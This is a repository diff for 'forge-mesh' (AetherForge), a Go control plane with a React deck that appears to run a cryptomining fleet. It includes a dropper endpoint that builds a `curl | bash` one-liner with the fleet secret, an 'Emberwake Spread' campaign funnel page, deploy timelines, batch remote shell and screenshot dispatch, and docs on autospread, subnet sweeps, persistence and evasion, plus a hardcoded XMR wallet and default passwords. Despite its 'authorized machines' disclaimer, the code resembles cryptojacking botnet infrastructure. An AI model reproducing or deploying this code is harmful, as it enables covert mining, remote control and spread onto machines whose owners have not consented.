<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32" fill="none">
<rect width="32" height="32" rx="6" fill="#111618"/>
<path d="M8 22 L16 8 L24 22 Z" stroke="#00e676" stroke-width="2" fill="none"/>
<circle cx="16" cy="18" r="2" fill="#ffb300"/>
</svg>

After

Width:  |  Height:  |  Size: 265 B

View File

@@ -0,0 +1,20 @@
<!DOCTYPE html>
<html lang="en" class="dark">
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/svg+xml" href="/forge.svg" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>AetherForge Command Deck</title>
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500&display=swap"
rel="stylesheet"
/>
<script type="module" crossorigin src="/assets/index-C7yIT9Qp.js"></script>
<link rel="stylesheet" crossorigin href="/assets/index-BJ9Sa22q.css">
</head>
<body>
<div id="root"></div>
</body>
</html>

34
data/config.json Normal file
View File

@@ -0,0 +1,34 @@
{
"listen_addr": ":8989",
"data_dir": "./data",
"database_path": "./data/forge-mesh.db",
"operator_clearance": 4,
"auth": {
"basic_username": "admin",
"basic_password": "changeme",
"fleet_secret": "change-me-fleet-secret"
},
"wallet_policy": {
"default_wallet": "48edfHu7V9Z84YzzMa6B9qPKBEJTiKDs8C8XpvX3qZfW8i7MLkQ4G7kD9fN2mP1vR6sT3uW0xY5zA8bC1dE4fG7hJ9kL2mN5pQ8rS1tU4vW7xY0zA3b",
"currency": "XMR"
},
"stratum": {
"xmr_listen": ":3333",
"rvn_listen": ":3388",
"upstream_xmr": "pool.supportxmr.com:3333",
"upstream_rvn": "stratum-ravencoin.flypool.org:3333"
},
"forge": {
"signing_key_path": "./data/signing.key",
"artifacts_dir": "./data/artifacts"
},
"court": {
"ollama_url": "http://127.0.0.1:11434",
"enabled": false
},
"telegram": {
"enabled": false,
"bot_token": "",
"chat_id": ""
}
}

View File

@@ -0,0 +1,14 @@
[Unit]
Description=Forge Mesh Agent
After=network-online.target
Wants=network-online.target
[Service]
Type=simple
EnvironmentFile=-/etc/forge-mesh/agent.env
ExecStart=/opt/forge-mesh/agent -deck ${FORGE_DECK_URL} -secret ${FORGE_FLEET_SECRET} -pubkey ${FORGE_PUBKEY}
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target

View File

@@ -0,0 +1,14 @@
[Unit]
Description=Forge Mesh Control Plane
After=network-online.target
Wants=network-online.target
[Service]
Type=simple
WorkingDirectory=/opt/forge-mesh
ExecStart=/opt/forge-mesh/bin/forge-mesh-server -config /opt/forge-mesh/data/config.json
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target

46
docs/PROBLEMS.md Normal file
View File

@@ -0,0 +1,46 @@
# Known limits and honest problems
AetherForge Linux (forge-mesh) is built for **machines you own and authorize**. This document records deliberate gaps and platform realities—not a bug list to fix silently.
## Deployment and spread
- **No worm-style LAN spread.** WinRM/GPO/BITS-style push lanes have no Linux equivalent in scope. Authorized summon (`curl | bash` with pin/campaign), SSH keys, Ansible, and enrolled sibling spread replace blind propagation.
- **Triple onion is enrolled-only.** The 14-tier Linux deploy chain runs on hosts you have already authorized—not arbitrary internet targets.
- **Earn-before-burn is phenotype-scoped.** Autospread to siblings only after local hashrate exceeds threshold for N minutes, and only within the same enrolled phenotype group.
## Tunneling and networking
- **cloudflared is sidecar-only on Linux.** The deck does not embed cloudflared in-process. Use `LAUNCH.sh` or your own unit to run `cloudflared tunnel run --token …` and set `AF_TUNNEL_EXTERNAL=1`. Agents must be configured to reach the tunnel hostname, not assume in-process tunnel state.
- **WireGuard is operator-managed.** The plan includes WireGuard mesh (tier T9) and API hooks, but Forge Mesh does not auto-provision kernel WireGuard configs, key rotation, or NAT traversal. You install `wireguard`, distribute keys, and point agents at the deck overlay IP.
- **Subnet mapping is opt-in.** ARP/ping sweeps run only on **operator-declared CIDRs** from the dashboard. There is no blind or internet-wide probing.
## Mining and hardware
- **GPU tiers need drivers first.** lolMiner/Rigel KawPoW paths assume `nvidia-smi` or `rocm-smi` already work. The summon installer does not install proprietary GPU stacks.
- **Huge pages and cgroups vary by host.** Agents attempt tuning (`vm.nr_hugepages`, cgroup v2 caps) but success depends on capabilities, sysctl policy, and distros.
- **Stratum upstream is yours.** The deck proxies to pool URLs you configure; wallet policy pins one address but pool connectivity and ban risk remain operator concerns.
## Intelligence and Court
- **Court / Seer needs an LLM you operate.** Every exhaust tick that invokes prosecutor/defender/judge requires local Ollama or a configured OpenAI-compatible API. There is no bundled model.
- **eBPF telemetry is optional.** Build tag `ebpf` enables deeper signals; default builds may lack thermal/steal-time probes Court prompts expect.
- **Clearance gates are policy, not crypto.** L0–L4 gates remote pause, reboot, screenshot, shell, and verdict dispatch—but compromise of deck credentials bypasses the model.
## Packaging and install
- **Signature verify is a placeholder until W8 forge signing ships.** `install.sh.tpl` documents ed25519 verification; dev builds may skip verify with a warning.
- **USB portable deck is not hardened live media.** `pack-usb.sh` bundles config templates and optional binaries; operators must rotate passwords, fleet secrets, and tunnel tokens before production use.
- **Screenshot on headless hosts is best-effort.** `grim`/`scrot` or stubs may return placeholders without a display server.
## Persistence and scale
- **SQLite is single-node default.** Multi-deck HA and Postgres are optional future paths; do not expect active-active fleet state on SQLite alone.
- **Erasure and torrent tiers need seeded artifacts.** T12/T13 assume shards or seeds exist and are reachable; cold start without forge output will fail those tiers.
## What we intentionally do not promise
- Windows parity for every persistence or evasion mechanism.
- Mining profitability or algo selection optimality—only tiered fallback to one wallet.
- Legal compliance in your jurisdiction—self-hosted fleet ops are your responsibility.
For architecture and workstream ownership, see the project plan at `.cursor/plans/aetherforge_linux_edition_71dd0fbb.plan.md` (or `docs/` once mirrored in-repo).

89
docs/TESTING.md Normal file
View File

@@ -0,0 +1,89 @@
# AetherForge Testing Guide
This document describes how to run backend and frontend tests for AetherForge Linux.
## Backend (Go)
From the repository root:
```bash
make test
# or
go test ./...
```
## Frontend (React / Vitest)
The Command Deck lives in `web/`. Tests use **Vitest**, **Testing Library**, **jsdom**, and **MSW** (Mock Service Worker) for HTTP mocks.
### Prerequisites
```bash
cd web
npm install
```
### Scripts
| Command | Description |
|---------|-------------|
| `npm run test` | Run all frontend tests once |
| `npm run test:watch` | Watch mode |
| `npm run test:coverage` | Run with V8 coverage report |
From the repo root:
```bash
./scripts/test-frontend.sh
# or
make test-frontend
```
### Configuration
- **`web/vitest.config.ts`** — merges Vite config with Vitest (`jsdom`, `@/` alias, coverage)
- **`web/src/test/setupTests.ts`** — MSW server lifecycle, RTL cleanup, session reset
- **`web/src/test/mocks/handlers.ts`** — REST handlers for fleet, WS ticket, calibrate, crucible
- **`web/src/test/test-utils.tsx`** — `renderWithProviders()` with MemoryRouter + auth
- **`web/src/test/mockWebSocket.ts`** — WebSocket mock for fleet heartbeat tests
- **`web/src/test/mockEventSource.ts`** — EventSource mock for Seer SSE tests
### Test layout
Tests are colocated with source files:
```
web/src/
App.test.tsx
pages/*.test.tsx
hooks/*.test.ts
components/**/*.test.tsx
lib/*.test.ts
```
### What is covered
| Area | Tests |
|------|-------|
| **Login gate** | `ProtectedRoute`, `App` redirect unauthenticated users |
| **Dashboard** | Host cards from mock `/api/v1/fleet`, WS connection badge |
| **WebSocket hook** | `useFleetWebSocket` receives heartbeat frames |
| **Auth/session** | `sessionStorage` credentials, Basic header |
| **Routes** | Login, Dashboard, Forge, Calibrate, Crucible, Seer render without crash |
| **Calibrate** | Mining profile form POSTs to fleet API |
| **Crucible** | Terminal dispatch sends batch command |
| **Seer** | SSE connect button, live status, message ingestion |
| **Components** | HostCard, Badge variants, hashrate formatting |
### Writing new tests
1. Add MSW handlers in `src/test/mocks/handlers.ts` for new API endpoints.
2. Use `renderWithProviders(<Component />, { authenticated: true })` for protected views.
3. Call `installMockWebSocket()` / `installMockEventSource()` when testing realtime features.
4. Place new tests beside the module: `MyComponent.test.tsx`.
### Troubleshooting
- **Unhandled MSW request** — add a handler or use `server.use()` in the test.
- **WebSocket flakiness** — use `waitFor` after `MockWebSocket.latest()?.simulateMessage(...)`.
- **Auth redirects** — pass `authenticated: false` to `renderWithProviders` or clear `sessionStorage`.

15
go.mod Normal file
View File

@@ -0,0 +1,15 @@
module forge-mesh
go 1.22
require (
github.com/google/uuid v1.6.0
github.com/gorilla/websocket v1.5.3
github.com/klauspost/reedsolomon v1.12.4
github.com/mattn/go-sqlite3 v1.14.24
)
require (
github.com/klauspost/cpuid/v2 v2.2.8 // indirect
golang.org/x/sys v0.24.0 // indirect
)

13
go.sum Normal file
View File

@@ -0,0 +1,13 @@
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/klauspost/cpuid/v2 v2.2.8 h1:+StwCXwm9PdpiEkPyzBXIy+M9KUb4ODm0Zarf1kS5BM=
github.com/klauspost/cpuid/v2 v2.2.8/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws=
github.com/klauspost/reedsolomon v1.12.4 h1:5aDr3ZGoJbgu/8+j45KtUJxzYm8k08JGtB9Wx1VQ4OA=
github.com/klauspost/reedsolomon v1.12.4/go.mod h1:d3CzOMOt0JXGIFZm1StgkyF14EYr3xneR2rNWo7NcMU=
github.com/mattn/go-sqlite3 v1.14.24 h1:tpSp2G2KyMnnQu99ngJ47EIkWVmliIizyZBfPrBWDRM=
github.com/mattn/go-sqlite3 v1.14.24/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.24.0 h1:Twjiwq9dn6R1fQcyiK+wQyHWfaz/BJB+YIpzU/Cv3Xg=
golang.org/x/sys v0.24.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=

View File

@@ -0,0 +1,98 @@
package alerts
import (
"bytes"
"encoding/json"
"fmt"
"log"
"net/http"
"sync"
"time"
)
// Config holds Telegram bot settings from config.json.
type Config struct {
Enabled bool `json:"enabled"`
BotToken string `json:"bot_token"`
ChatID string `json:"chat_id"`
}
// Notifier sends operator alerts via Telegram Bot API.
type Notifier struct {
cfg Config
client *http.Client
mu sync.Mutex
last time.Time
}
func New(cfg Config) *Notifier {
return &Notifier{
cfg: cfg,
client: &http.Client{
Timeout: 10 * time.Second,
},
}
}
// Enabled reports whether Telegram alerts are configured.
func (n *Notifier) Enabled() bool {
return n != nil && n.cfg.Enabled && n.cfg.BotToken != "" && n.cfg.ChatID != ""
}
// Send posts a message to the configured chat (best-effort, non-blocking caller).
func (n *Notifier) Send(text string) {
if !n.Enabled() {
return
}
go func() {
if err := n.sendSync(text); err != nil {
log.Printf("telegram alert: %v", err)
}
}()
}
func (n *Notifier) sendSync(text string) error {
n.mu.Lock()
if time.Since(n.last) < 500*time.Millisecond {
n.mu.Unlock()
time.Sleep(500 * time.Millisecond)
n.mu.Lock()
}
n.last = time.Now()
n.mu.Unlock()
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage", n.cfg.BotToken)
body, _ := json.Marshal(map[string]string{
"chat_id": n.cfg.ChatID,
"text": text,
"parse_mode": "Markdown",
})
req, err := http.NewRequest(http.MethodPost, url, bytes.NewReader(body))
if err != nil {
return err
}
req.Header.Set("Content-Type", "application/json")
resp, err := n.client.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode >= 300 {
return fmt.Errorf("telegram API status %d", resp.StatusCode)
}
return nil
}
// FleetEvent formats a fleet alert message.
func FleetEvent(action, hostID, detail string) string {
return fmt.Sprintf("🔧 *forge-mesh* · `%s`\nhost: `%s`\n%s", action, hostID, detail)
}
// CrucibleEvent formats a batch terminal alert.
func CrucibleEvent(jobID string, hostCount int, cmd string) string {
return fmt.Sprintf("⚗️ *crucible batch* · `%s`\nhosts: %d\ncmd: `%s`", jobID, hostCount, cmd)
}

View File

@@ -0,0 +1,28 @@
package handlers
import (
"encoding/json"
"net/http"
"forge-mesh/internal/auth"
)
// AuthHandlers serves login and WS ticket endpoints.
type AuthHandlers struct {
Tickets *auth.TicketStore
}
func (h *AuthHandlers) WSTicket(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
ticket, err := h.Tickets.Issue()
if err != nil {
http.Error(w, "ticket error", http.StatusInternalServerError)
return
}
w.Header().Set("Content-Type", "application/json")
_ = json.NewEncoder(w).Encode(map[string]string{"ticket": ticket})
}

View File

@@ -0,0 +1,136 @@
package handlers
import (
"encoding/json"
"fmt"
"net/http"
"strings"
"forge-mesh/internal/alerts"
"forge-mesh/internal/auth"
"forge-mesh/internal/fleet"
)
// CrucibleHandler serves batch terminal endpoints.
type CrucibleHandler struct {
Store *fleet.Store
Hub *fleet.Hub
Crucible *fleet.CrucibleStore
Alerts *alerts.Notifier
OperatorClearance int
}
type batchRequest struct {
Command string `json:"command"`
HostIDs []string `json:"host_ids"`
All bool `json:"all"`
}
func (h *CrucibleHandler) Dispatch(w http.ResponseWriter, r *http.Request) {
if err := fleet.CheckAction(h.OperatorClearance, fleet.ActionCrucible); err != nil {
auth.JSON(w, http.StatusForbidden, map[string]any{"error": err.Error()})
return
}
var req batchRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
req.Command = strings.TrimSpace(req.Command)
if req.Command == "" {
http.Error(w, "command required", http.StatusBadRequest)
return
}
hostIDs := req.HostIDs
if req.All || len(hostIDs) == 0 {
hosts, err := h.Store.ListHosts()
if err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
for _, host := range hosts {
if host.Status == "online" || host.Status == "mining" {
hostIDs = append(hostIDs, host.ID)
}
}
}
job := h.Crucible.Create(req.Command, hostIDs)
action := mapCommandToAction(req.Command)
for _, hostID := range hostIDs {
host, _ := h.Store.GetHost(hostID)
hostname := hostID
if host != nil {
hostname = host.Hostname
}
if err := fleet.CheckAction(h.OperatorClearance, action); err != nil {
h.Crucible.AddResult(job.ID, fleet.BatchResult{
HostID: hostID, Hostname: hostname,
Status: "denied", Message: err.Error(),
})
continue
}
cmd, err := h.Hub.DispatchCommand(hostID, action, map[string]any{"raw": req.Command})
if err != nil {
h.Crucible.AddResult(job.ID, fleet.BatchResult{
HostID: hostID, Hostname: hostname,
Status: "error", Message: err.Error(),
})
continue
}
h.Crucible.AddResult(job.ID, fleet.BatchResult{
HostID: hostID, Hostname: hostname,
Status: "dispatched", CommandID: cmd.ID,
})
}
h.Crucible.Complete(job.ID, "completed")
if h.Alerts != nil && h.Alerts.Enabled() {
h.Alerts.Send(alerts.CrucibleEvent(job.ID, len(hostIDs), req.Command))
}
_ = h.Store.InsertSeerEvent("", "crucible", fmt.Sprintf(`{"job_id":"%s","command":%q}`, job.ID, req.Command))
auth.JSON(w, http.StatusOK, job)
}
func (h *CrucibleHandler) GetJob(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
job, ok := h.Crucible.Get(id)
if !ok {
http.Error(w, "not found", http.StatusNotFound)
return
}
auth.JSON(w, http.StatusOK, job)
}
func (h *CrucibleHandler) History(w http.ResponseWriter, r *http.Request) {
auth.JSON(w, http.StatusOK, map[string]any{
"jobs": h.Crucible.History(20),
})
}
func mapCommandToAction(cmd string) string {
lower := strings.ToLower(strings.TrimSpace(cmd))
switch {
case strings.HasPrefix(lower, "pause"):
return fleet.ActionPause
case strings.HasPrefix(lower, "resume"):
return fleet.ActionResume
case strings.HasPrefix(lower, "reboot"):
return fleet.ActionReboot
case strings.HasPrefix(lower, "screenshot"):
return fleet.ActionScreenshot
case strings.HasPrefix(lower, "shell"):
return fleet.ActionShell
default:
return fleet.ActionStatus
}
}

View File

@@ -0,0 +1,62 @@
package handlers
import (
"database/sql"
"fmt"
"net/http"
"forge-mesh/internal/auth"
"forge-mesh/internal/forge"
)
// DropperHandler serves the dropper URL and one-liner info to the operator.
type DropperHandler struct {
DB *sql.DB
PublicKeyHex string
FleetSecret string
Version string
}
type DropperInfo struct {
DropperURL string `json:"dropper_url"`
InstallURL string `json:"install_url"`
OneLiner string `json:"one_liner"`
FleetSecret string `json:"fleet_secret"`
PublicKey string `json:"public_key"`
HasBuild bool `json:"has_build"`
Version string `json:"version"`
}
func deckURL(r *http.Request) string {
scheme := "http"
if r.TLS != nil || r.Header.Get("X-Forwarded-Proto") == "https" {
scheme = "https"
}
return fmt.Sprintf("%s://%s", scheme, r.Host)
}
// Info handles GET /api/v1/dropper — returns dropper link, one-liner, and build status.
func (h *DropperHandler) Info(w http.ResponseWriter, r *http.Request) {
base := deckURL(r)
installURL := base + "/install.sh"
dropperURL := base + "/get"
oneLiner := fmt.Sprintf(
"FORGE_MESH_FLEET_SECRET=%s bash <(curl -fsSL %s)",
h.FleetSecret, installURL,
)
// Check whether a public build exists so the UI can warn if not.
_, err := forge.LatestPublic(h.DB, "linux", "amd64")
hasBuild := err == nil
auth.JSON(w, http.StatusOK, DropperInfo{
DropperURL: dropperURL,
InstallURL: installURL,
OneLiner: oneLiner,
FleetSecret: h.FleetSecret,
PublicKey: h.PublicKeyHex,
HasBuild: hasBuild,
Version: h.Version,
})
}

View File

@@ -0,0 +1,532 @@
package handlers
import (
"context"
"database/sql"
"encoding/json"
"fmt"
"net/http"
"strings"
"time"
"forge-mesh/internal/api/types"
"forge-mesh/internal/auth"
"forge-mesh/internal/config"
"forge-mesh/internal/erasure"
"forge-mesh/internal/fleet"
"forge-mesh/internal/policy"
"github.com/google/uuid"
)
// ErasureHandler serves public erasure shard endpoints.
type ErasureHandler struct {
Service *erasure.Service
}
func (h *ErasureHandler) GetBundle(w http.ResponseWriter, r *http.Request) {
bundleID := r.PathValue("bundle_id")
if bundleID == "" {
http.Error(w, "bundle_id required", http.StatusBadRequest)
return
}
bundle, err := h.Service.GetBundle(r.Context(), bundleID)
if err != nil {
if err == sql.ErrNoRows {
http.Error(w, "not found", http.StatusNotFound)
return
}
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
indices, _ := h.Service.ListShards(r.Context(), bundleID)
auth.JSON(w, http.StatusOK, map[string]any{
"bundle": bundle,
"shards": indices,
})
}
func (h *ErasureHandler) GetShard(w http.ResponseWriter, r *http.Request) {
bundleID := r.PathValue("bundle_id")
indexStr := r.PathValue("index")
if bundleID == "" || indexStr == "" {
http.Error(w, "bundle_id and index required", http.StatusBadRequest)
return
}
var index int
if _, err := fmt.Sscanf(indexStr, "%d", &index); err != nil {
http.Error(w, "invalid shard index", http.StatusBadRequest)
return
}
shard, err := h.Service.GetShard(r.Context(), bundleID, index)
if err != nil {
if err == sql.ErrNoRows {
http.Error(w, "not found", http.StatusNotFound)
return
}
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, map[string]any{
"bundle_id": shard.BundleID,
"shard_index": shard.ShardIndex,
"hex": shard.Hex,
})
}
// PolicySnapshotHandler serves degraded-agent policy snapshots.
type PolicySnapshotHandler struct {
DB *sql.DB
}
// Create handles POST /api/v1/policy/snapshot (protected).
func (h *PolicySnapshotHandler) Create(w http.ResponseWriter, r *http.Request) {
policy := map[string]any{
"wallet_policy": map[string]string{"currency": "XMR"},
"policy_from_server": true,
"version": "1",
}
raw, _ := json.Marshal(policy)
token := uuid.NewString()
if err := SeedPolicySnapshot(r.Context(), h.DB, token, string(raw)); err != nil {
http.Error(w, "snapshot failed", http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, map[string]any{
"token": token,
"url": "/api/v1/public/policy-snapshot/" + token,
})
}
func (h *PolicySnapshotHandler) Get(w http.ResponseWriter, r *http.Request) {
token := r.PathValue("token")
if token == "" {
http.Error(w, "token required", http.StatusBadRequest)
return
}
var policyJSON string
var expires sql.NullString
err := h.DB.QueryRowContext(r.Context(), `
SELECT policy_json, expires_at FROM policy_snapshots WHERE token = ?`, token).
Scan(&policyJSON, &expires)
if err != nil {
if err == sql.ErrNoRows {
http.Error(w, "not found", http.StatusNotFound)
return
}
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
if expires.Valid && expires.String != "" {
if t, err := time.Parse("2006-01-02 15:04:05", expires.String); err == nil && time.Now().After(t) {
http.Error(w, "expired", http.StatusGone)
return
}
}
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusOK)
w.Write([]byte(policyJSON))
}
// TrackCampaign handles GET /api/v1/public/campaign/track?c=CODE.
func TrackCampaign(db *sql.DB) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
code := r.URL.Query().Get("c")
if code == "" {
http.Error(w, "c required", http.StatusBadRequest)
return
}
trackCampaignHeat(r.Context(), db, code)
auth.JSON(w, http.StatusOK, map[string]any{"code": code, "tracked": true})
}
}
// SpreadLander serves the Emberwake public funnel page with ?c= heat tracking.
func SpreadLander(db *sql.DB) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
campaign := r.URL.Query().Get("c")
if campaign != "" {
trackCampaignHeat(r.Context(), db, campaign)
}
w.Header().Set("Content-Type", "text/html; charset=utf-8")
install := "/install.sh"
if campaign != "" {
install += "?c=" + campaign
}
fmt.Fprintf(w, `<!DOCTYPE html><html><head><title>Forge Mesh Spread</title>
<meta charset="utf-8"><style>body{font-family:system-ui;background:#0a0e14;color:#e6edf3;padding:2rem;max-width:640px;margin:auto}
a{color:#58d1ff}</style></head>
<body><h1>Emberwake Spread</h1><p>Campaign: <strong>%s</strong></p>
<p><a href="%s">Summon enrolled agent</a></p></body></html>`, campaign, install)
}
}
func trackCampaignHeat(ctx context.Context, db *sql.DB, code string) {
if db == nil || code == "" {
return
}
var id string
err := db.QueryRowContext(ctx, `SELECT id FROM campaigns WHERE code = ?`, code).Scan(&id)
if err == sql.ErrNoRows {
_, _ = db.ExecContext(ctx, `INSERT INTO campaigns (id, code, name, heat) VALUES (?, ?, ?, 1)`,
uuid.NewString(), code, code)
return
}
if err == nil {
_, _ = db.ExecContext(ctx, `UPDATE campaigns SET heat = heat + 1 WHERE id = ?`, id)
}
}
// WarRoomHandler serves campaign heat dashboards.
type WarRoomHandler struct {
DB *sql.DB
}
func (h *WarRoomHandler) ListCampaigns(w http.ResponseWriter, r *http.Request) {
rows, err := h.DB.QueryContext(r.Context(), `
SELECT id, code, name, COALESCE(pin,''), heat, created_at
FROM campaigns ORDER BY heat DESC, created_at DESC LIMIT 100`)
if err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
defer rows.Close()
var campaigns []types.Campaign
for rows.Next() {
var c types.Campaign
var created string
if err := rows.Scan(&c.ID, &c.Code, &c.Name, &c.Pin, &c.Heat, &created); err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
c.CreatedAt, _ = time.Parse("2006-01-02 15:04:05", created)
campaigns = append(campaigns, c)
}
if campaigns == nil {
campaigns = []types.Campaign{}
}
auth.JSON(w, http.StatusOK, map[string]any{"campaigns": campaigns})
}
// WireGuardHandler manages mesh peer records (operator-managed configs).
type WireGuardHandler struct {
DB *sql.DB
}
func (h *WireGuardHandler) ListPeers(w http.ResponseWriter, r *http.Request) {
rows, err := h.DB.QueryContext(r.Context(), `
SELECT id, COALESCE(host_id,''), public_key, COALESCE(endpoint,''), allowed_ips, created_at
FROM wireguard_peers ORDER BY created_at DESC LIMIT 100`)
if err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
defer rows.Close()
type peer struct {
ID string `json:"id"`
HostID string `json:"host_id,omitempty"`
PublicKey string `json:"public_key"`
Endpoint string `json:"endpoint,omitempty"`
AllowedIPs string `json:"allowed_ips"`
CreatedAt string `json:"created_at"`
}
var peers []peer
for rows.Next() {
var p peer
if err := rows.Scan(&p.ID, &p.HostID, &p.PublicKey, &p.Endpoint, &p.AllowedIPs, &p.CreatedAt); err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
peers = append(peers, p)
}
if peers == nil {
peers = []peer{}
}
auth.JSON(w, http.StatusOK, map[string]any{"peers": peers})
}
func (h *WireGuardHandler) CreatePeer(w http.ResponseWriter, r *http.Request) {
var req struct {
HostID string `json:"host_id"`
PublicKey string `json:"public_key"`
Endpoint string `json:"endpoint"`
AllowedIPs string `json:"allowed_ips"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
if req.PublicKey == "" {
http.Error(w, "public_key required", http.StatusBadRequest)
return
}
if req.AllowedIPs == "" {
req.AllowedIPs = "10.66.66.2/32"
}
id := uuid.NewString()
_, err := h.DB.ExecContext(r.Context(), `
INSERT INTO wireguard_peers (id, host_id, public_key, endpoint, allowed_ips)
VALUES (?, ?, ?, ?, ?)`,
id, nullIfEmpty(req.HostID), req.PublicKey, nullIfEmpty(req.Endpoint), req.AllowedIPs)
if err != nil {
http.Error(w, "create failed", http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusCreated, map[string]any{
"id": id,
"host_id": req.HostID,
"public_key": req.PublicKey,
"endpoint": req.Endpoint,
"allowed_ips": req.AllowedIPs,
})
}
// RenderConfig handles GET /api/v1/wireguard/config — wg-quick template for operators.
func (h *WireGuardHandler) RenderConfig(w http.ResponseWriter, r *http.Request) {
rows, err := h.DB.QueryContext(r.Context(), `
SELECT public_key, COALESCE(endpoint,''), allowed_ips FROM wireguard_peers ORDER BY created_at`)
if err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
defer rows.Close()
var buf strings.Builder
buf.WriteString("[Interface]\nPrivateKey = <operator-private-key>\nAddress = 10.66.66.1/24\nListenPort = 51820\n\n")
for rows.Next() {
var pub, endpoint, allowed string
if err := rows.Scan(&pub, &endpoint, &allowed); err != nil {
continue
}
buf.WriteString("[Peer]\n")
fmt.Fprintf(&buf, "PublicKey = %s\n", pub)
if endpoint != "" {
fmt.Fprintf(&buf, "Endpoint = %s\n", endpoint)
}
fmt.Fprintf(&buf, "AllowedIPs = %s\n\n", allowed)
}
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
_, _ = w.Write([]byte(buf.String()))
}
func nullIfEmpty(s string) sql.NullString {
if s == "" {
return sql.NullString{}
}
return sql.NullString{String: s, Valid: true}
}
// LOTLTimeline returns deploy audit entries for a host.
func (h *FleetHandler) LOTLTimeline(w http.ResponseWriter, r *http.Request) {
hostID := r.PathValue("id")
if hostID == "" {
http.Error(w, "host id required", http.StatusBadRequest)
return
}
attempts, err := h.Store.ListLOTL(r.Context(), hostID, 100)
if err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, map[string]any{
"host_id": hostID,
"timeline": attempts,
})
}
// PushMiningProfile assigns a mining profile to a host.
func (h *FleetHandler) PushMiningProfile(w http.ResponseWriter, r *http.Request) {
hostID := r.PathValue("id")
if hostID == "" {
http.Error(w, "host id required", http.StatusBadRequest)
return
}
var req types.MiningProfileRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
if req.WalletAddress == "" {
http.Error(w, "wallet_address required", http.StatusBadRequest)
return
}
profileID := req.ProfileID
if profileID == "" {
profileID = uuid.NewString()
}
name := req.Name
if name == "" {
name = "Fleet mining profile"
}
tiers := req.Tiers
if len(tiers) == 0 {
tiers = policy.DefaultMiningProfile(req.WalletAddress).Tiers
}
profile := &types.MiningProfile{
ID: profileID,
Name: name,
WalletAddress: req.WalletAddress,
Tiers: tiers,
PolicyFromServer: true,
CreatedAt: time.Now().UTC(),
UpdatedAt: time.Now().UTC(),
}
ctx := r.Context()
if err := h.Store.SaveMiningProfile(ctx, profile); err != nil {
http.Error(w, "save profile failed", http.StatusInternalServerError)
return
}
if err := h.Store.AssignMiningProfile(ctx, hostID, profileID); err != nil {
http.Error(w, "assign profile failed", http.StatusNotFound)
return
}
_, _ = h.Hub.DispatchCommand(hostID, "mining_profile", map[string]any{"profile": profile})
auth.JSON(w, http.StatusOK, map[string]any{
"ok": true,
"host_id": hostID,
"profile": profile,
})
}
// HostAction is an alias for fleet command dispatch (plan parity).
func (h *FleetHandler) HostAction(w http.ResponseWriter, r *http.Request) {
h.Command(w, r)
}
// CalibrateProfiles returns default mining tier profiles.
func CalibrateProfiles(cfg *config.Config) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
auth.JSON(w, http.StatusOK, map[string]any{
"profiles": []map[string]any{
{
"id": "default-xmr",
"name": "Default XMR Chain",
"wallet_address": cfg.WalletPolicy.DefaultWallet,
"policy_from_server": true,
"tiers": []map[string]any{
{"type": "oci", "duration_minutes": 5},
{"type": "xmrig", "duration_minutes": 15},
{"type": "gpu", "duration_minutes": 10},
},
},
},
})
}
}
// SeerAPIStream serves GET /api/v1/seer (plan parity alias).
func SeerAPIStream(store *fleet.Store, username, password string) http.HandlerFunc {
h := &SeerHandler{Store: store, Username: username, Password: password}
return h.Stream
}
// SeedPolicySnapshot inserts a test policy snapshot token.
func SeedPolicySnapshot(ctx context.Context, db *sql.DB, token, policyJSON string) error {
_, err := db.ExecContext(ctx, `
